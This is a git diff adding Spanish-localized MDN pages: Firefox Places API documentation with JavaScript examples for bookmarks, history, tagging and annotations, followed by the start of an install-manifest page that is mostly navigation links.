+ <li>String getItemGUID(aItemId) <span class="inlineIndicator obsolete obsoleteInline" title="(Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11)">Obsoleto Gecko 14.0</span> - Returns a globally unique identifier for the item. This is mainly for use by extensions that sync bookmark data between different profiles.</li>
+</ul>
+
+<p>For bookmarks:</p>
+
+<ul>
+ <li>nsIURI getBookmarkURI(aItemId) - Returns the URI of a bookmark item</li>
+ <li>String getKeywordForBookmark(aItemId) - Returns a bookmark's keyword, or null</li>
+</ul>
+
+<p>For folders:</p>
+
+<ul>
+ <li>Int64 getChildFolder(aFolderId, aSubfolderTitle) - Returns the id of the first subfolder matching the given title.</li>
+ <li>Int64 getIdForItemAt(aFolderId, aPosition) - Returns the id of the item at the given position (throws if there's no item there).</li>
+ <li>Bool getFolderReadonly(aFolderId)</li>
+</ul>
+
+<h4 id="Folder_Contents" name="Folder_Contents">Accessing Folder Contents</h4>
+
+<p>Queries in Places are executed through the main history service. The example below shows how to enumerate a bookmark folder's contents, and how to access the properties of the items themselves.</p>
+
+<pre class="brush: js">var history = Cc["@mozilla.org/browser/nav-history-service;1"]
+	 .getService(Ci.nsINavHistoryService);
+var query = history.getNewQuery();
+query.setFolders([myFolderId], 1);
+var result = history.executeQuery(query, history.getNewQueryOptions());
+// The root property of a query result is an object representing the folder you specified above.
+var folderNode = result.root;
+// Open the folder, and iterate over its contents.
+folderNode.containerOpen = true;
+for (var i=0; i &lt; folderNode.childCount; ++i) {
+	var childNode = folderNode.getChild(i);
+	 // Some item properties.
+	var title = childNode.title;
+	var id = childNode.itemId;
+	var type = childNode.type;
+
+	// Some type-specific actions.
+	if (type == Ci.nsINavHistoryResultNode.RESULT_TYPE_URI) {
+		var uri = childNode.uri;
+	}
+	else if (type == Ci.nsINavHistoryResultNode.RESULT_TYPE_FOLDER) {
+		childNode.QueryInterface(Ci.nsINavHistoryContainerResultNode);
+		childNode.containerOpen = true;
+		// now you can iterate over a subfolder's children
+	}
+}
+</pre>
+
+<p>ther available node types are documented in the <a class="external" href="http://mxr.mozilla.org/seamonkey/source/toolkit/components/places/public/nsINavHistoryService.idl">IDL</a>.</p>
+
+<h4 id="Searching" name="Searching">Searching Bookmarks</h4>
+
+<p>Queries are executed through the history service. The example below shows how to search through all bookmarks, and to iterate over the results.</p>
+
+<pre class="brush: js">var bookmarks = Cc["@mozilla.org/browser/nav-bookmarks-service;1"]
+                .getService(Ci.nsINavBookmarksService);
+var history = Cc["@mozilla.org/browser/nav-history-service;1"]
+              .getService(Ci.nsINavHistoryService);
+
+var query = history.getNewQuery();
+
+// Specify folders to be searched
+var folders = [bookmarks.toolbarFolder, bookmarks.bookmarksMenuFolder,
+               bookmarks.unfiledBookmarksFolder];
+query.setFolders(folders, folders.length);
+
+// Specify terms to search for, matches against title, URL and tags
+query.searchTerms = "firefox";
+
+var options = history.getNewQueryOptions();
+options.queryType = options.QUERY_TYPE_BOOKMARKS;
+
+var result = history.executeQuery(query, options);
+
+// The root property of a query result is an object representing the folder you specified above.
+var resultContainerNode = result.root;
+
+// Open the folder, and iterate over its contents.
+resultContainerNode.containerOpen = true;
+for (var i=0; i &lt; resultContainerNode.childCount; ++i) {
+  var childNode = resultContainerNode.getChild(i);
+
+  // Accessing properties of matching bookmarks
+  var title = childNode.title;
+  var uri = childNode.uri;
+}
+</pre>
+
+<h3 id="Updating" name="Updating">Updating Bookmark Items</h3>
+
+<p>For all items:</p>
+
+<ul>
+ <li>setItemTitle(aItemId, aTitle) - Changes an item's title.</li>
+ <li>setItemIndex(aItemId, aIndex) - Changes an item's position. NOTE: This does not re-index the whole folder - use moveItem for a managed solution.</li>
+ <li>setItemDateAdded(aItemId, aDateAdded) - Set the date the item was first added, in microseconds.</li>
+ <li>setItemLastModified(aItemId, aLastModified) - Set the date the item was last modified, in microseconds.</li>
+ <li>setItemGUID(aItemId, aGUID) <span class="inlineIndicator obsolete obsoleteInline" title="(Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11)">Obsoleto Gecko 14.0</span> - Returns a globally unique identifier for the item. This is mainly for use by extensions that sync bookmark data between different profiles.</li>
+ <li>moveItem (aFolderId, aNewParentId, aIndex) - Move an item from one folder to another.</li>
+</ul>
+
+<p>For bookmarks:</p>
+
+<ul>
+ <li>changeBookmarkURI(aItemId, aURI) - Change a bookmark's URI.</li>
+ <li>setKeywordForBookmark(aItemId, aKeyword) - Set the keyword for a bookmark.</li>
+</ul>
+
+<h3 id="Deleting" name="Deleting">Deleting Bookmark Items</h3>
+
+<p>With the bookmarks service:</p>
+
+<ul>
+ <li>removeItem(aItemId) - Works for all types</li>
+ <li>removeFolder(aItemId) - Works for folders and livemarks</li>
+ <li>removeFolderChildren(aItemId) - Works for folders and livemarks</li>
+</ul>
+
+<h3 id="Observing" name="Observing">Observing Bookmark Events</h3>
+
+<p>The <code>nsINavBookmarkObserver</code> interface is used for observing bookmarks activity such as item additions, changes and deletions.</p>
+
+<pre class="brush: js">// Create a bookmark observer
+var observer = {
+  onBeginUpdateBatch: function() {
+    // This method is notified when a batch of changes are about to occur.
+    // Observers can use this to suspend updates to the user-interface, for example
+    // while a batch change is occurring.
+  },
+  onEndUpdateBatch: function() {
+    this._inBatch = false;
+  },
+  onItemAdded: function(id, folder, index) {
+  },
+  onItemRemoved: function(id, folder, index) {
+  },
+  onItemChanged: function(id, property, isAnnotationProperty, value) {
+    // isAnnotationProperty is a boolean value that is true of the changed property is an annotation.
+    // You can access a bookmark item's annotations with the &lt;code&gt;nsIAnnotationService&lt;/code&gt;.
+  },
+  onItemVisited: function(id, visitID, time) {
+    // The visit id can be used with the History service to access other properties of the visit.
+    // The time is the time at which the visit occurred, in microseconds.
+  },
+  onItemMoved: function(id, oldParent, oldIndex, newParent, newIndex) {
+    // oldParent and newParent are the ids of the old and new parent folders of the moved item.
+  },
+  QueryInterface: function(iid) {
+    if (iid.equals(Ci.nsINavBookmarkObserver) ||
+        iid.equals(Ci.nsISupports)) {
+      return this;
+    }
+    throw Cr.NS_ERROR_NO_INTERFACE;
+  },
+};
+
+// Register the observer with the bookmarks service
+var bmsvc = Cc["@mozilla.org/browser/nav-bookmarks-service;1"]
+            .getService(Ci.nsINavBookmarksService);
+bmsvc.addObserver(observer, false);
+
+// Un-register the observer when done.
+bmsvc.removeObserver(observer);
+
+</pre>
+
+<h3 id="HTML_Import.2FExport" name="HTML_Import.2FExport">HTML Import/Export</h3>
+
+<p>The <code>nsIPlacesImportExportService</code> service is used for import and export of bookmarks in the <a class="external" href="http://msdn.microsoft.com/en-us/library/aa753582(VS.85).aspx">Netscape Bookmarks HTML</a> format. Note that this service is only currently available for Firefox, not other toolkit-based applications.</p>
+
+<p>Importing:</p>
+
+<ul>
+ <li>importHTMLFromFile (nsILocalFile aFile, boolean aIsInitialImport) - This imports all the bookmarks in the specified file into the current bookmarks collection. If aIsInitialImport is true, all pre-existing bookmarks in the toolbar and menu folders will be deleted.</li>
+</ul>
+
+<div class="note"><strong>Note:</strong> The method <code>importHTMLFromFileToFolder()</code> method was removed in Gecko 14.0 (Firefox 14.0 / Thunderbird 14.0 / SeaMonkey 2.11).</div>
+
+<p>Exporting:</p>
+
+<ul>
+ <li>exportHTMLToFile (nsILocalFile aFile) - This exports all bookmarks in the toolbar, menu and unfiled bookmarks folders into the specified file.</li>
+</ul>
+
+<h3 id="Backup.2FRestore" name="Backup.2FRestore">Backup/Restore</h3>
+
+<p>The new bookmarks system uses the JSON format for storing backups of users' bookmarks. The APIs are available via the PlacesUtils API in the utils.js Javascript module.</p>
+
+<pre class="brush: js">var Ci = Components.interfaces;
+var Cc = Components.classes;
+var Cu = Components.utils;
+
+// Import PlacesUtils
+Cu.import("resource://gre/modules/PlacesUtils.jsm");
+Cu.import("resource://gre/modules/Services.jsm");
+
+// Create the backup file
+var jsonFile = Services.dirsvc.get("ProfD", Ci.nsILocalFile);
+jsonFile.append("bookmarks.json");
+jsonFile.create(Ci.nsILocalFile.NORMAL_FILE_TYPE, 0600);
+
+// Export bookmarks in JSON format to file
+PlacesUtils.backupBookmarksToFile(jsonFile);
+
+// Restore bookmarks from the JSON file
+// NOTE: This *overwrites* all pre-existing bookmarks
+PlacesUtils.restoreBookmarksFromJSONFile(jsonFile);
+</pre>
+
+<h2 id="History" name="History">History</h2>
+
+<p>The toolkit history service is <a href="https://dxr.mozilla.org/mozilla-central/source/toolkit/components/places/public/nsINavHistoryService.idl" rel="custom">nsINavHistoryService</a>:</p>
+
+<pre class="brush: js">var history = Cc["@mozilla.org/browser/nav-history-service;1"]
+              .getService(Ci.nsINavHistoryService);
+
+</pre>
+
+<p>The history service provides methods for adding, editing, deleting browser history. It's also the jump-off point for querying and searching the history and bookmarks collections.</p>
+
+<p>While nsINavHistory is the main interface for history, there are a couple of other interfaces available for legacy and context-specific uses:</p>
+
+<ul>
+ <li><code>nsIBrowserHistory</code> - Detailed page addition and removal methods</li>
+ <li><code>nsIGlobalHistory2</code> - Simple page detection and addition</li>
+ <li><code>nsIGlobalHistory3</code> - For adding document redirects</li>
+</ul>
+
+<h3 id="Adding" name="Adding">Adding to History</h3>
+
+<p>Places provides a couple of interfaces for adding to, and editing the browsing history. The main interface is nsINavHistoryService. Other interfaces that provide specialized abilities are nsIBrowserHistory and nsIGlobalHistory. Examples of the capabilities of each are provided below.</p>
+
+<pre class="brush: js">// Places deals in URIs, so here's a helper for creating them.
+function uri(spec) {
+  return Cc["@mozilla.org/network/io-service;1"].
+         getService(Ci.nsIIOService).
+         newURI(spec, null, null);
+}
+
+// Adding a basic visit via the core Places history service.
+var history = Cc["@mozilla.org/browser/nav-history-service;1"].
+              getService(Ci.nsINavHistoryService);
+var ourURI = uri("http://www.mozilla.com");
+var visitDate = Date.now() * 1000; // in microseconds
+var referrerURI = null; // or a URI
+var isRedirect = false;
+var visitType = history.TRANSITION_LINK; // the visit is from a link that was clicked
+var sessionId = 0; // can link the visit with a specific browsing session
+history.addVisit(ourURI, visitDate, referrerURI,
+                 visitType, isRedirect, sessionId);
+
+// Add a visit to a URL, with a page title and visited time
+// via nsIBrowserHistory.
+var browserHistory = histsvc.QueryInterface(Ci.nsIBrowserHistory);
+var ourURI = uri("http://www.mozilla.com");
+var pageTitle = "Mozilla";
+var visitDate = Date.now() * 1000; // in microseconds
+browserHistory.addPageWithDetails(ourURI, "Mozilla", visitDate);
+
+// Add a visit to a URL, with extended behavior information
+// via nsIGlobalHistory3.
+var globalHistory = Cc["@mozilla.org/browser/global-history;2"].
+                    getService(Ci.nsIGlobalHistory2);
+var ourURI = uri("http://www.mozilla.com");
+var isRedirect = false;
+var isTopLevel = true;
+globalHistory.addURI(ourURI, isRedirect, isTopLevel, referrerURI);
+globalHistory.setPageTitle(ourURI, "Mozilla");
+</pre>
+
+<h3 id="Deleting_2" name="Deleting_2">Deleting from History</h3>
+
+<pre class="brush: js">// Places deals in URIs, so here's a helper for creating them.
+function uri(spec) {
+  return Cc["@mozilla.org/network/io-service;1"].
+         getService(Ci.nsIIOService).
+         newURI(spec, null, null);
+}
+
+var browserHistory = histsvc.QueryInterface(Ci.nsIBrowserHistory);
+var ourURI = uri("http://www.mozilla.com");
+
+// Remove all visits for a single URL from history
+browserHistory.removePage(ourURI);
+
+// Remove all visits for multiple URLs from history
+var urisToDelete = [ourURI];
+// will call nsINavHistoryObserver.onBeginUpdateBatch/onEndUpdateBatch
+var doNotify = false;
+browserHistory.removePages(urisToDelete, urisToDelete.length, doNotify);
+
+// Remove all visits within a given time period
+var endDate = Date.now() * 1000; // now, in microseconds
+var startDate = endDate - (7 * 86400 * 1000 * 1000); // one week ago, in microseconds
+browserHistory.removePagesByTimeframe(startDate, endDate);
+
+// Remove all pages for a given host
+var entireDomain = true; // will delete from all hosts from the given domain
+browserHistory.removePagesFromHost("mozilla.com", true);
+// Remove all history visits
+browserHistory.removeAllPages();</pre>
+
+<h3 id="Querying" name="Querying">Querying History</h3>
+
+<p>The code sample below queries the browser history for the ten most visited URLs in the browser history.</p>
+
+<pre class="brush: js">var historyService = Components.classes["@mozilla.org/browser/nav-history-service;1"]
+                               .getService(Components.interfaces.nsINavHistoryService);
+var query = historyService.getNewQuery();
+var options = historyService.getNewQueryOptions();
+options.sortingMode = options.SORT_BY_VISITCOUNT_DESCENDING;
+options.maxResults = 10;
+
+// execute the query
+var result = historyService.executeQuery(query, options);
+
+// iterate over the results
+result.root.containerOpen = true;
+var count = result.root.childCount;
+for (var i = 0; i &lt; count; i++) {
+  var node = result.root.getChild(i);
+  // do something with the node properties...
+  var title = node.title;
+  var url = node.uri;
+  var visited = node.accessCount;
+  var lastVisitedTimeInMicrosecs = node.time;
+  var iconURI = node.icon; // is null if no favicon available
+}
+
+result.root.containerOpen = false;
+</pre>
+
+<h3 id="Querying_for_redirects_and_from_visit" name="Querying_for_redirects_and_from_visit">Querying History for redirects and from_visit</h3>
+
+<p>Results of type <code>RESULT_TYPE_FULL_VISIT</code> have information about the visit, such as the referring visit, and how the transition happened (typed, redirect, link, etc). The problem is that it is <strong>not yet implemented</strong> -- see <span class="lang lang-*"><a class="link-https" href="https://bugzilla.mozilla.org/show_bug.cgi?id=320831" rel="external nofollow" title="https://bugzilla.mozilla.org/show_bug.cgi?id=320831">bug 320831</a></span>. So the only solution for now seems to do one own SQL queries to the <a class="external" href="http://www.forensicswiki.org/wiki/Mozilla_Firefox_3_History_File_Format"><code>Places</code> database</a>.</p>
+
+<p>Here is how one can get a connection to the Places database:</p>
+
+<pre class="brush: js">function getPlacesDbConn() {
+    return Components.classes['@mozilla.org/browser/nav-history-service;1'].
+      getService(Components.interfaces.nsPIPlacesDatabase).DBConnection;
+}
+</pre>
+
+<p>And then to get the a redirected visit_id from another visit_id:</p>
+
+<pre class="brush: js">function getFromVisit(visit_id) {
+  var sql = &lt;cdata&gt;&lt;![CDATA[
+    SELECT from_visit FROM moz_places, moz_historyvisits
+    WHERE moz_historyvisits.id = :visit_id AND moz_places.id = moz_historyvisits.place_id;
+  ]]&gt;&lt;/cdata&gt;.toString();
+  var sql_stmt = getPlacesDbConn.createStatement(sql);
+  sql_stmt<span>.params.visit_id = visit_id;  </span>
+
+  var from_visit;
+  try {
+    // Here we can't use the "executeAsync" method since have to return a
+    // result right-away.
+    while (sql_stmt.executeStep()) {
+      from_visit = sql_stmt.row.from_visit;
+    }
+  } finally {
+    sql_stmt.reset();
+  }
+  return from_visit;
+}
+</pre>
+
+<div class="note"><strong>Note:</strong> The <code>&lt;cdata&gt;&lt;![CDATA[ xxx ]]&gt;&lt;/cdata&gt;.toString()</code> notation is E4X and it makes possible to write multi-line strings in JavaScript. This is very useful when writing long SQL statements.</div>
+
+<h3 id="Searching_2" name="Searching_2">Searching History</h3>
+
+<p>Queries are executed through the history service. The example below shows how to search through browser history, and to iterate over the results.</p>
+
+<pre class="brush: js">var history = Cc["@mozilla.org/browser/nav-history-service;1"]
+              .getService(Ci.nsINavHistoryService);
+
+var query = history.getNewQuery();
+
+// Specify terms to search for, matches against title and URL
+query.searchTerms = "firefox";
+
+var result = history.executeQuery(query, history.getNewQueryOptions());
+
+// The root property of a query result is an object representing the folder you specified above.
+var resultContainerNode = result.root;
+
+// Open the result, and iterate over it's contents.
+resultContainerNode.containerOpen = true;
+for (var i=0; i &lt; resultContainerNode.childCount; ++i) {
+  var childNode = resultContainerNode.getChild(i);
+
+  // Accessing properties of matching bookmarks
+  var title = childNode.title;
+  var uri = childNode.uri;
+}
+</pre>
+
+<h3 id="Observing_2" name="Observing_2">Observing History</h3>
+
+<p>The nsINavHistoryObserver interface allows observation of history events such as new visits, page title changes, page expiration and when all history is cleared.</p>
+
+<pre class="brush: js">var history = Cc["@mozilla.org/browser/nav-history-service;1"].
+              getService(Ci.nsINavHistoryService);
+let observer = {
+  onBeginUpdateBatch: function() {
+  },
+  onEndUpdateBatch: function() {
+  },
+  onVisit: function(aURI, aVisitID, aTime, aSessionID, aReferringID, aTransitionType) {
+  },
+  onTitleChanged: function(aURI, aPageTitle) {
+  },
+  onDeleteURI: function(aURI) {
+  },
+  onClearHistory: function() {
+  },
+  onPageChanged: function(aURI, aWhat, aValue) {
+  },
+  onPageExpired: function(aURI, aVisitTime, aWholeEntry) {
+  },
+  QueryInterface: function(iid) {
+    if (iid.equals(Components.interfaces.nsINavHistoryObserver) ||
+        iid.equals(Components.interfaces.nsISupports)) {
+      return this;
+    }
+    throw Cr.NS_ERROR_NO_INTERFACE;
+  }
+};
+
+history.addObserver(observer, false);
+</pre>
+
+<h2 id="New" name="New">New</h2>
+
+<h3 id="Tags" name="Tags">Tagging Service</h3>
+
+<p>The tagging of URIs is provided by <code>nsITaggingService</code>. The service is URI-centric, meaning that consumers can tag URIs directly, without first creating a bookmark. The unique identifier is the URI, and all APIs require URIs as <code>nsIURI</code> objects.</p>
+
+<pre class="brush: js">// Get the tagging service
+var tagssvc = Cc["@mozilla.org/browser/tagging-service;1"]
+              .getService(Ci.nsITaggingService);
+
+// Create a URI to tag
+var IOService = Cc["@mozilla.org/network/io-service;1"]
+                .getService(Ci.nsIIOService);
+var myURI = IOService.newURI("http://www.mozilla.com", null, null);
+
+// Tag the URI
+tagssvc.tagURI(myURI, ["mozilla", "firefox"]);
+
+// Get an array of tags for a URI
+var myTags = tagssvc.getTagsForURI(myURI, {});
+
+// Get an array of URIs for a tag
+var taggedURIs = tagssvc.getURIsForTag("mozilla");
+
+// Get an array of all tags
+var arrayOfAllTags = tagssvc.allTags;
+
+// Remove tags from a URI
+tagssvc.untagURI(myURI, ["mozilla", "firefox"]);
+</pre>
+
+<p><br>
+ This service currently integrates with and is internally dependent upon bookmarks:</p>
+
+<ul>
+ <li>If you tag a URI that is not previously bookmarked, a new bookmark is created in the Unfiled Bookmarks folder.</li>
+ <li>If you delete a bookmark, each tag is removed from it, deleted from the tag data collection. For example, if you delete all your bookmarks, all your tags will also be deleted.</li>
+ <li>If you delete your places.sqlite file, all tags will be deleted (along with all history and bookmarks).</li>
+</ul>
+
+<h3 id="Annotations" name="Annotations">Annotations</h3>
+
+<p>Annotations provide a way to store small bits of arbitrary data for a URI or a bookmark:</p>
+
+<pre class="brush: js">// Get the annotation service
+var annotations = Cc["@mozilla.org/browser/annotation-service;1"]
+                  .getService(Ci.nsIAnnotationService);
+
+// Create a URI to annotate
+var IOService = Cc["@mozilla.org/network/io-service;1"]
+                .getService(Ci.nsIIOService);
+var myURI = IOService.newURI("http://www.mozilla.com", null, null);
+
+// Add an annotation to the URI, that expires when the URI is deleted
+// or expires from the browser history
+annotations.setPageAnnotation(myURI, "myAnnotation", "notes for this URI...",
+                              0, annotations.EXPIRE_WITH_HISTORY);
+
+// Create a bookmark to annotate
+var bookmarks = Cc["@mozilla.org/browser/nav-bookmarks-service;1"]
+                .getService(Ci.nsINavBookmarksService);
+var myBookmark = bookmarks.insertBookmark(bookmarks.toolbarFolder, myURI,
+                                          bookmarks.DEFAULT_INDEX, "my bookmark");
+
+// Add an annotation to the bookmark, that expires only when
+// the bookmark is deleted
+annotations.setItemAnnotation(myBookmark, "myAnnotation", "notes for this bookmark...",
+                              0, annotations.EXPIRE_WITH_HISTORY);
+</pre>
+
+<p>Note the syntactic difference between the URI and bookmark annotation APIs: URI annotation APIs use "Page" in method names whereas bookmark annotation APIs use "Item" in method names.</p>
+
+<h3 id="Saved_Searches" name="Saved_Searches">Saved Searches</h3>
+
+<p>New in Firefox 3 is the ability to save searches of bookmarks or history. These saved searches appear as folders in your bookmarks, with a special icon to signify their difference from normal folders. The contents of these folders are updated when expanded, executing the search against the current history and bookmarks collections.</p>
+
+<p>Saved searches can be formulated as URIs, and added to the bookmarks collection as a normal bookmark. Formulation of search URIs is documented <a class="external" href="/en-US/docs/docs/Places_query_URIs" title="en/docs/Places_query_URIs">here</a>.</p>
+
+<pre class="brush: js">// Formulate a URI to query for the 10 most visited URIs in the browser history
+var mostVisited = "place:queryType=0&amp;sort=8&amp;maxResults=10";
+
+// Create an nsIURI for the URL to be bookmarked.
+var bookmarkURI = Cc["@mozilla.org/network/io-service;1"]
+                  .getService(Ci.nsIIOService)
+                  .newURI(mostVisited, null, null);
+
+// Add the search to the bookmarks toolbar
+var id = bookmarks.insertBookmark(bookmarks.toolbarFolder, bookmarkURI,
+                                  bookmarks.DEFAULT_INDEX, "Most Visited");<span style="line-height: 18px; white-space: normal;">
+</span></pre>
diff --git a/files/es/manifiesto_de_instalación/index.html b/files/es/manifiesto_de_instalación/index.html
new file mode 100644
index 0000000000..33fdf324e9
--- /dev/null
+++ b/files/es/manifiesto_de_instalación/index.html
@@ -0,0 +1,653 @@
+---
+title: Manifiesto de instalación
+slug: Manifiesto_de_instalación
+tags:
+  - Complementos
+  - Herramientas_API
+  - Todas_las_Categorías
+  - extensiones
+  - para_revisar
+  - páginas_a_traducir
+translation_of: Archive/Add-ons/Install_Manifests
+---
+<p></p><section class="Quick_links" id="Quick_Links">
+  <ol>
+    <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions"><strong>Browser extensions</strong></a></li>
+    <li class="toggle">
+      <details>
+        <summary>Getting started</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/What_are_WebExtensions">What are extensions?</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Your_first_WebExtension">Your first extension</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Your_second_WebExtension">Your second extension</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Anatomy_of_a_WebExtension">Anatomy of an extension</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Examples">Example extensions</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/What_next_">What next?</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Concepts</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Using_the_JavaScript_APIs">Using the JavaScript APIs</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Content_scripts">Content scripts</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Match_patterns">Match patterns</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Working_with_files">Working with files</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Internationalization">Internationalization</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Security_best_practices">Security best practices</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security Policy</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Native_messaging">Native messaging</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>User interface</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface">User Interface</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface/Browser_action">Toolbar button</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface/Page_actions">Address bar button</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface/Sidebars">Sidebars</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface/Context_menu_items">Context menu items</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface/Options_pages">Options page</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface/Extension_pages">Extension pages</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface/Notifications">Notifications</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface/Omnibox">Address bar suggestions</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/user_interface/devtools_panels">Developer tools panels</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>How to</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Intercept_HTTP_requests">Intercept HTTP requests</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Modify_a_web_page">Modify a web page</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Safely_inserting_external_content_into_a_page">Insert external content</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Add_a_button_to_the_toolbar">Add a button to the toolbar</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Implement_a_settings_page">Implement a settings page</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Working_with_the_Tabs_API">Work with the Tabs API</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Bookmarks_API">Work with the Bookmarks API</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Work_with_the_Cookies_API">Work with the Cookies API</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Work_with_contextual_identities">Work with contextual identities</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Porting</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Porting_a_Google_Chrome_extension">Porting a Google Chrome extension</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Porting_a_legacy_Firefox_add-on">Porting a legacy Firefox extension</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Embedded_WebExtensions">Embedded WebExtensions</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_the_Add-on_SDK">Comparison with the Add-on SDK</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Comparison_with_XUL_XPCOM_extensions">Comparison with XUL/XPCOM extensions</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Chrome_incompatibilities">Chrome incompatibilities</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Differences_between_desktop_and_Android">Differences between desktop and Android</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Firefox workflow</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/User_experience_best_practices">User Experience</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Temporary_Installation_in_Firefox">Temporary Installation in Firefox</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Debugging">Debugging</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Testing_persistent_and_restart_features">Testing persistent and restart features</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Developing_WebExtensions_for_Firefox_for_Android">Developing for Firefox for Android</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Getting_started_with_web-ext">Getting started with web-ext</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/web-ext_command_reference">web-ext command reference</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/WebExtensions_and_the_Add-on_ID">Extensions and the Add-on ID</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Request_the_right_permissions">Request the right permissions</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>JavaScript APIs</summary>
+        <ol><li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Browser_support_for_JavaScript_APIs">Browser support for JavaScript APIs</a></li><li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API/Alarmas">Alarmas</a></li><li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API/cookies">cookies</a></li><li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API/extension">extension</a></li><li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API/contextMenus">contextMenus</a></li><li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API/notifications">notifications</a></li><li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API/i18n">i18n</a></li><li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/API/webNavigation">webNavigation</a></li></ol>
+      </details>
+    </li>
+
+    <li class="toggle">
+      <details>
+      <summary>Manifest keys</summary>
+
+      </details>
+    </li>
+
+    <li><a href="/es/docs/Mozilla/Add-ons/Themes"><strong>Themes</strong></a></li>
+    <li class="toggle">
+      <details>
+        <summary>Browser themes</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/Themes/Theme_concepts">Browser theme concepts</a></li>
+        </ol>
+      </details>
+    </li>
+    <li class="toggle">
+      <details>
+        <summary>Lightweight themes</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/Themes/Lightweight_themes">Lightweight themes</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/Themes/Lightweight_Themes/FAQ">Lightweight themes FAQ</a></li>
+        </ol>
+      </details>
+    </li>
+    <li><a href="/es/docs/Mozilla/Add-ons/Distribution"><strong>Publishing and Distribution</strong></a></li>
+    <li class="toggle">
+      <details>
+        <summary>Publishing add-ons</summary>
+        <ol>
+          <li><a href="/es/docs/Mozilla/Add-ons/Distribution">Signing and distribution overview</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/WebExtensions/Package_your_extension_">Package your extension</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/Distribution/Submitting_an_add-on">Submit an add-on</a></li>
+          <li><a href="/es/docs/Mozilla/Add-ons/Source_Code_Submission">Source code submission</a></li>
